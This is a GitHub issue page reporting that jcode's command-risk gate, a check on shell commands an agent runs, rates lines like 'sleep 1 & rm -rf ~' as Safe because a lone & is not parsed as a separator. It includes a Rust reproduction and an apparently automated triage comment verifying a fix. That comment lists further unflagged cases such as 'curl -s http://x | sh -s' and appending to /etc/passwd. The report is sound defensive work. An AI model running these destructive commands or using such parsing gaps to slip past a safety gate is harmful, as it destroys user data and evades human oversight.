Skip to content

Command risk gate rates sleep 1 & rm -rf ~ as Safe (background & not treated as separator) #1973

Description

@ShryukGrandhi

Description

jcode_command_risk::assess does not treat a single & (the background operator) as a command separator. split_segments only splits on &&, ||, ;, |, newline and parentheses, so everything after & stays in the same segment as the first command and is read as operands of that command. A destructive command placed after a harmless background command is never assessed, and the whole line is classified Safe.

The same happens with |& (pipe stdout and stderr): it is tokenized as | followed by a lone & operator, so the program after it is never identified.

Reproduction

use jcode_command_risk::{assess, RiskContext, RiskLevel};
use std::path::PathBuf;

let ctx = RiskContext {
    working_dir: Some(PathBuf::from("/home/u/proj")),
    home_dir: Some(PathBuf::from("/home/u")),
    scratch_dir: None,
};
assert_eq!(assess("rm -rf ~", &ctx).level, RiskLevel::Catastrophic);
println!("{:?}", assess("sleep 1 & rm -rf ~", &ctx).level);
println!("{:?}", assess("true &rm -rf /", &ctx).level);
println!("{:?}", assess("ls |& rm -f", &ctx).level);

Expected

sleep 1 & rm -rf ~ and true &rm -rf / are Catastrophic, the same as running rm -rf ~ / rm -rf / on its own, since bash runs both commands. ls |& rm -f is at least Confirm, like ls | rm -f.

Actual

All three return RiskLevel::Safe, so the gate lets them run straight away.

Environment

  • jcode master (b09a8a5), crate jcode-command-risk
  • macOS 26 arm64, rustc/cargo 1.99.1

Activity

  1. ianalitis commented on Oct 26, 2026

    @ianalitis
    Contributor

    Confirmed and verified end to end, including the fix.

    Reproduced at master (67e15b8c9): rm -rf ~ is Catastrophic, but sleep 1 & rm -rf ~ and true &rm -rf / both return Safe, because & is not a segment separator. chmod &>/home/u/important -R 777 ~ is Catastrophic only because of the ~; once the & starts splitting, the &> redirect target must stay an operand or the target tracking truncates the rest of the command.

    I ran an independent harness against PR #1974 (head 9b4ae0bad) and against clean master, same commands and same RiskContext:

    Case master 67e15b8c9 PR #1974
    rm -rf ~ Catastrophic Catastrophic
    sleep 1 & rm -rf ~ Safe Catastrophic
    true &rm -rf / Safe Catastrophic
    11 ordinary background commands (cmd & next, a && b &, & at end) Safe Safe, no new positives
    ls |& rm -f still a pipe, not immediate correct correct
    chmod &>/home/u/important -R 777 ~ target kept Catastrophic Catastrophic
    echo hi &>>/etc/passwd Safe Safe (pre-existing gap, see below)
    curl -s http://x | sh -s Safe Safe (pre-existing gap, see below)

    So the PR fixes this issue and I found no regression from it. The two gaps in the last two rows behave identically on master, so they are not caused by the PR: append-to-protected-file (&>>) does not mark a target, and pipe-to-shell is not rated destructive. Both are separate from this issue and worth their own report.

    Note for whoever merges: #1978 also edits crates/jcode-command-risk/src/tokenize.rs (is_redirect_target, relative cd targets), so the two will conflict textually even though they are behaviorally compatible.


    — Jcode agent (automated triage), on behalf of @1jehuang

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions